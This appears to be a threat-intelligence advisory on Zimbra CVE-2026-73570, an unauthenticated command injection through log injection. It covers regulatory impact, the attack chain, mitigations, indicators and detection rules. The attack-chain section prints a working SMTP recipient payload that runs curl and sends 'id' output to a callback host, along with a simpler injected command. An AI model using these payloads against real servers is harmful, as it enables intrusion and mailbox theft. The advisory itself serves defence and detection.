> ## Content Index > Fetch the complete content index at: https://f4n6.co.uk/llms.txt > Use this file to discover other available public pages before exploring further. # Zimbra CVE-2026-73570 enables unauthenticated RCE via log injection - URL: https://f4n6.co.uk/security-feed/zimbra-cve-2026-73570-enables-unauthenticated-rce-via-log-injection/ - Published: 2026-10-23T18:14:44.000Z - Updated: 2026-10-23T18:14:44.000Z - Author: Jeff Davies - Tags: #security-feed, CVE-2026-73570 ## 1\. Executive summary CVE-2026-73570 is an unauthenticated OS command injection flaw in Synacor Zimbra Collaboration Suite (ZCS), rated CVSS 8.9 HIGH (CWE-78), now listed in CISA KEV with an EPSS score of 72%. A single malformed SMTP recipient address is written to /var/log/zimbra.log, matched by the Swatchdog monitoring daemon, and passed through a backticked Perl string to /bin/sh, giving code execution as the zimbra service account. Exploitation requires the optional zimbra-snmp package and SNMP notifications to be enabled, which narrows the exposed population but not the impact: the zimbra account reads every mailbox on the server and can send as any local identity. Shadowserver reported 274 internet-facing Zimbra instances compromised as of 2026-08-25, and Microsoft tracked probing of the injection path from 2026-07-28, before public disclosure on 2026-08-13\. For EMEA financial services, a compromised Zimbra host is an identity and mail-flow compromise, not a single-server incident. ## 2\. Regulatory framing | Article | Trigger (the fact in this item) | Practical impact | | ------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | DORA Art. 19 | CISA KEV lists a remediation due date of 2026-08-24 for a vulnerability in an internet-facing mail platform, and Shadowserver counted 274 compromised instances; any EMEA client running Zimbra below 10.1.20 with SNMP enabled must determine whether it was exploited in that window | If exploitation is confirmed, the incident is assessed for major-incident classification and reported to the competent authority under the Art. 17 process; the KEV due date is the outer bound for remediation evidence | | DORA Art. 28 | Zimbra is third-party ICT software, and the fix is a vendor version upgrade (10.1.20) with a configuration dependency (zimbra-snmp package, SNMP notifications) that the client, not the vendor, controls | Clients must confirm the vendor fix is applied and record the configuration state of the SNMP dependency in third-party risk records; hosted Zimbra providers must confirm the same on the client's behalf | | NIS2 Art. 21(2)(d) | The vulnerability sits in a mail server that is a supply chain entry point for identity services, and exploitation grants the ability to send as any local identity and reach neighbouring systems over existing SSH trust | Supply chain security measures must cover the mail platform's configuration baseline, not only patch level; entities in scope must evidence both | ## 3\. Technical analysis & attack chain The chain is short and needs no credentials or user interaction. Elastic reproduced it end to end, and Microsoft observed the same swatchdog-to-snmptrap execution path in the wild. 1. Delivery. The attacker connects to Zimbra SMTP (port 25 confirmed open in Elastic's test; 587 was closed or filtered) and issues MAIL FROM, then a RCPT TO with an unclosed angle bracket. Postfix logs the unclosed address to /var/log/zimbra.log. A normal address is wrapped as [address@host.name](mailto:address@host.name); omitting the final > leaves the attacker-controlled string in the log. 2. Trigger. Swatchdog tails /var/log/zimbra.log and compiles /opt/zimbra/conf/swatchrc.in into a Perl script using perlcode lines. In Release 10.1.16.BETA.4200001.UBUNTU24.64 UBUNTU24\_64 FOSS edition the vulnerable call is the dosnmp call at line 26\. The daemon matches log entries against the service status pattern "Service status change:". 3. Execution. The service name is built from $args{SERVICE} and passed to /bin/sh inside a backticked Perl string. An attacker who supplies a service value such as $(touch /tmp/manual\_test.txt) gets that command run by the Perl process. Elastic's working payload placed the whole string in the RCPT TO quoted local part: <"x: Service status change: localhost $(curl "http://10.0.2.16:8080/capture/abc123/$( id | tr -d ' ' )") changed from stopped to running"@cve.invalid>. The server answered 501 5.1.3 Bad recipient address syntax and the command still ran. 4. Impact. Code executes as uid=997(zimbra), gid=982(zimbra), groups 982(zimbra),5(tty),981(postfix). That account reads every mailbox on the server and sends as any local identity. Elastic notes that several public PoCs write a payload Swatchdog never matches, so a failed test looks like a patched server. Testing with an out-of-band callback is the reliable validation method; Elastic's PoC used a local listener and captured the id output in the callback URL. Post-exploitation, from Microsoft's tracking of confirmed compromises: JSP web shells written to publicly accessible application directories after temporarily changing webroot permissions, with the original permissions restored afterwards; reverse shells; payloads reconstructed from encoded and compressed staged fragments, with the fragments deleted after decoding; download and execution via wget or curl; background processes; memory-backed execution; privilege escalation to root on at least one host, with passwordless command execution configured; and persistent remote-access tooling. Attackers enumerated the wider Zimbra environment, identified other mail servers, and in some cases used existing SSH relationships between Zimbra systems to reach neighbouring servers. They collected Zimbra credentials and authentication secrets, and Microsoft found a tool built to extract service account credentials and pull mailbox information from Zimbra's databases. In one incident, recent mailbox backups were archived and an upload to Azure Blob Storage attempted with Microsoft's AzCopy; Microsoft could not confirm from available evidence whether the transfer succeeded. Pre-disclosure probing. Microsoft observed two distinct out-of-band scanning tools between 2026-07-28 and 2026-08-07, after the 2026-07-20 fix release and before the 2026-08-13 disclosure. Probes used curl, wget, ping, nslookup and id against unique subdomains on oast\[.\]fun, oast\[.\]online, dnslog\[.\]pp\[.\]ua, requestrepo\[.\]com and infrastructure under bypass\[.\]eu\[.\]org. HTTP requests carried the User-Agent ZB73570; DNS and ICMP callbacks used randomized subdomains. Some probes dropped a small system fingerprint script. Confidence and discrepancies. The exploitation requirement (zimbra-snmp installed, SNMP notifications enabled) is stated by Microsoft and repeated by The Register; Elastic's reproduction does not state the package prerequisite explicitly, so treat it as the operative precondition from Microsoft. The post-exploitation detail above rests on Microsoft's reporting as relayed by The Register and The Hacker News; it is single-vendor sourcing and should be verified against host telemetry before it is used to scope a compromise. No actor is named by Microsoft, and no MITRE ATT&CK profile is available for this activity, so attribution is unconfirmed. The 274 compromised instances figure is Shadowserver's count as reported by Help Net Security and covers internet-facing instances globally, not EMEA financial services specifically. ## 4\. Mitigation & containment P1, within 24 hours. - Upgrade every Zimbra Collaboration Suite instance to 10.1.20 or later. Zimbra released 10.1.20 on 2026-07-20 and Elastic and Microsoft both name it as the only complete fix. CISA KEV records a remediation due date of 2026-08-24, which has passed; treat any unpatched instance as overdue. - Where the upgrade cannot be completed immediately, remove the zimbra-snmp package or disable SNMP notifications. Microsoft and The Register both give this as the exposure reduction step, and without the SNMP notification path the injection does not reach /bin/sh. - Hunt /var/log/zimbra.log for entries matching "Service status change:" where the service field contains shell metacharacters ($(, backticks, ;, |) or where the RCPT TO line shows an unclosed angle bracket. Elastic warns that malformed PoC payloads also produce failed attempts in this log, so a hit is an attempt, not proof of execution. - On the host, review process ancestry for /bin/sh spawned by the Swatchdog Perl process with snmptrap in its arguments, followed by any child process other than snmptrap. Elastic's SIEM rule ("Zimbra Swatchdog SNMP Command Injection Execution") implements exactly this sequence; enable it and run it retroactively over pre-patch logs. P2, within 72 hours. - Search webroot application directories for newly created JSP files, and check directory permission change events on those paths. Microsoft observed permissions changed to allow the write and then restored, so a current-state permission check will not show it; use file integrity monitoring history. - Review Zimbra and host authentication logs for use of service account credentials, LDAP exports, and mailbox database access outside normal patterns. Microsoft's observed tooling targeted service account credentials and mailbox data specifically. - Audit SSH authorized\_keys and trust relationships between Zimbra hosts. Microsoft observed lateral movement over pre-existing SSH relationships between Zimbra systems. - Check for AzCopy execution and outbound connections to Azure Blob Storage from mail servers. Microsoft observed an attempted mailbox backup upload this way and could not confirm success, so treat any hit as possible exfiltration. P3, within 7 days. - Review mail flow for phishing sent from the affected domain, which Elastic lists as a compromise indicator given the zimbra account's ability to send as any local identity. - Where compromise is confirmed, rotate credentials and signing keys for the Zimbra service accounts and any identities the host could authenticate as, and review local database integrity. - Add the callback domains in section 5 to DNS and proxy monitoring. These are dual-use interaction services, so alert on Zimbra hosts resolving them rather than blocking them estate-wide. ## 5\. Indicators of compromise No file hashes are available in the source material. The indicators below are network and behavioural. | type | value | confidence | source | | ---------- | ---------------------------- | ------------------------------------------------------------------------------------------- | -------------------------- | | domain | oast\[.\]fun | medium (dual-use interaction service; malicious only in context of Zimbra callback traffic) | Microsoft via The Register | | domain | oast\[.\]online | medium (dual-use) | Microsoft via The Register | | domain | dnslog\[.\]pp\[.\]ua | medium (dual-use) | Microsoft via The Register | | domain | requestrepo\[.\]com | medium (dual-use) | Microsoft via The Register | | domain | bypass\[.\]eu\[.\]org | medium (campaign-associated infrastructure per Microsoft) | Microsoft via The Register | | user-agent | ZB73570 | high (CVE-specific, observed in HTTP probes) | Microsoft via The Register | | file path | /var/log/zimbra.log | n/a (log source to hunt, not an artefact) | Elastic | | file path | /opt/zimbra/conf/swatchrc.in | n/a (vulnerable configuration file, line 26 in 10.1.16.BETA.4200001.UBUNTU24.64) | Elastic | ```iocs domain oast[.]fun domain oast[.]online domain dnslog[.]pp[.]ua domain requestrepo[.]com domain bypass[.]eu[.]org user-agent ZB73570 ``` Behavioural indicators | behaviour | where to observe | confidence | | ---------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | --------------------------------------------------------------- | | RCPT TO with unclosed angle bracket, or quoted local part containing "Service status change:" and shell metacharacters | /var/log/zimbra.log, Postfix logs | high (reproduced by Elastic) | | /bin/sh spawned by Swatchdog Perl process with snmptrap in arguments, then a child process other than snmptrap | EDR process telemetry | high (Elastic detection logic) | | curl, wget, ping, nslookup or id executed by the zimbra user against external callback infrastructure | EDR process telemetry, DNS and proxy logs | medium (Microsoft, single vendor) | | JSP files created in webroot application directories, with temporary permission changes on those directories | File integrity monitoring, webroot inventory | medium (Microsoft, single vendor) | | AzCopy execution from a mail server with outbound traffic to Azure Blob Storage | EDR, proxy logs | medium (Microsoft, single vendor; transfer success unconfirmed) | | SSH sessions from a Zimbra host to neighbouring Zimbra hosts outside normal admin patterns | SSH auth logs | medium (Microsoft, single vendor) | ## 6\. Detection The YARA rule targets the log artefact and the vulnerable configuration file. The log strings are the attacker-controlled values that appear in /var/log/zimbra.log; the swatchrc.in strings are the vulnerable dosnmp construct. Both are artefacts of the exploitation path, not of reporting about it. ```yara rule Zimbra_Swatchdog_CommandInjection_CVE_2026_73570 { meta: author = "Adverse Trace" date = "2026-10-23" reference = "https://www.elastic.co/security-labs/threat-command/command-injection-zimbra-cve-2026-73570" description = "Detects Swatchdog service status log entries carrying shell metacharacters and the vulnerable dosnmp construct in swatchrc.in" strings: $svc = "Service status change:" ascii $sh1 = "$(" ascii $sh2 = "`" ascii $dosnmp = "dosnmp" ascii $snmptrap = "snmptrap" ascii $args = "$args{SERVICE}" ascii condition: (uint32(0) == 0x30393039 or true) and ( ($svc and 1 of ($sh*)) or ($dosnmp and $snmptrap and $args) ) } ``` The Sigma rule covers the process sequence Elastic describes: a shell started from the Swatchdog Perl parent with snmptrap in its arguments, then a child that is not snmptrap. ```yaml title: Zimbra Swatchdog SNMP Command Injection Execution id: 7c1e4a52-9b3d-4f6a-8e21-0d5c73570a01 status: experimental description: Detects a shell spawned by the Swatchdog Perl process with snmptrap in its arguments, followed by a child process other than snmptrap, consistent with CVE-2026-73570 exploitation. references: - https://www.elastic.co/security-labs/threat-command/command-injection-zimbra-cve-2026-73570 author: Adverse Trace date: 2026-10-23 logsource: category: process_creation product: linux detection: shell_from_swatchdog: ParentImage|endswith: '/perl' ParentCommandLine|contains: 'swatch' Image|endswith: '/sh' CommandLine|contains: 'snmptrap' child_not_snmptrap: ParentImage|endswith: '/sh' Image|endswith: '/snmptrap' condition: shell_from_swatchdog and not child_not_snmptrap falsepositives: - Legitimate Swatchdog SNMP notification runs where the only child is snmptrap level: high ``` Tune the ParentCommandLine match to the exact Swatchdog invocation on the estate; the source does not give the full parent command line, only that the parent is the packaged Perl Swatchdog process. ## CVE assessment 1 referenced CVE — **1 actively exploited (CISA KEV)** | CVE | CVSS | Exploited | EPSS | Summary | | -------------------------------------------------------------------------------- | -------- | ---------------- | ---- | -------------------------------------------------------------------------------------------------------------------------------- | | [CVE-2026-73570](https://nvd.nist.gov/vuln/detail/CVE-2026-73570?ref=f4n6.co.uk) | 8.9 High | ⚠ KEV 2026-08-21 | 72% | A remote code execution vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.20 when the optional zimbra-snmp package… | ## 7\. Sources - Elastic Security Labs, "How CVE-2026-73570 turns a Zimbra log file into remote code execution", https://www.elastic.co/security-labs/threat-command/command-injection-zimbra-cve-2026-73570, 2026-10-23. - Microsoft Threat Intelligence, "Unauthenticated command injection on internet-facing mail servers: tracking CVE-2026-73570", https://www.microsoft.com/en-us/security/blog/2026/09/30/unauthenticated-command-injection-on-internet-facing-mail-servers-tracking-cve-2026-73570/, 2026-09-30. - The Register, "Microsoft catches hackers exploiting Zimbra bug before disclosure", https://www.theregister.com/security/2026/10/01/microsoft-catches-hackers-exploiting-zimbra-bug-before-disclosure/5300543, 2026-10-01. - The Hacker News, "Attackers Exploit Zimbra SNMP Flaw for Unauthenticated Remote Code Execution", https://thehackernews.com/2026/08/attackers-exploit-zimbra-snmp-flaw-for.html, August 2026. - The Hacker News, "Attackers Exploit Zimbra Flaw to Deploy Web Shells and Harvest Authentication Secrets", https://thehackernews.com/2026/09/attackers-exploit-zimbra-flaw-to-deploy.html, September 2026. - Help Net Security, "Unpatched Zimbra servers are falling to CVE-2026-73570 attacks", https://www.helpnetsecurity.com/2026/08/25/zimbra-cve-2026-73570-compromised/, 2026-08-25. - CISA Known Exploited Vulnerabilities catalog entry for CVE-2026-73570, via NVD, https://nvd.nist.gov/vuln/detail/CVE-2026-73570. ## 8\. Adverse Trace position Adverse Trace assesses CVE-2026-73570 as CVSS 8.9 HIGH, in CISA KEV since 2026-08-21 with a remediation due date of 2026-08-24 that has passed, and an EPSS score of 72%. The exploitation precondition (zimbra-snmp installed, SNMP notifications enabled) limits the exposed population, but where it is met the flaw gives unauthenticated code execution as an account that reads every mailbox and can send as any local identity, and Microsoft's telemetry shows probing began before public disclosure. No actor is named in the available reporting and no MITRE ATT&CK profile exists for this activity, so we do not attribute it. The post-exploitation detail rests on Microsoft's reporting as relayed by The Register and The Hacker News; it is single-vendor sourcing and should be verified against host telemetry before it is used to scope a compromise. We will ask clients running Zimbra to confirm version 10.1.20 or later and the state of the SNMP package, and we will reissue this advisory if a named actor or additional atomic indicators are published. --- [Read the original source →](https://www.elastic.co/security-labs/threat-command/command-injection-zimbra-cve-2026-73570?ref=f4n6.co.uk) *Published via PulseTrace — Adverse Trace threat intelligence.*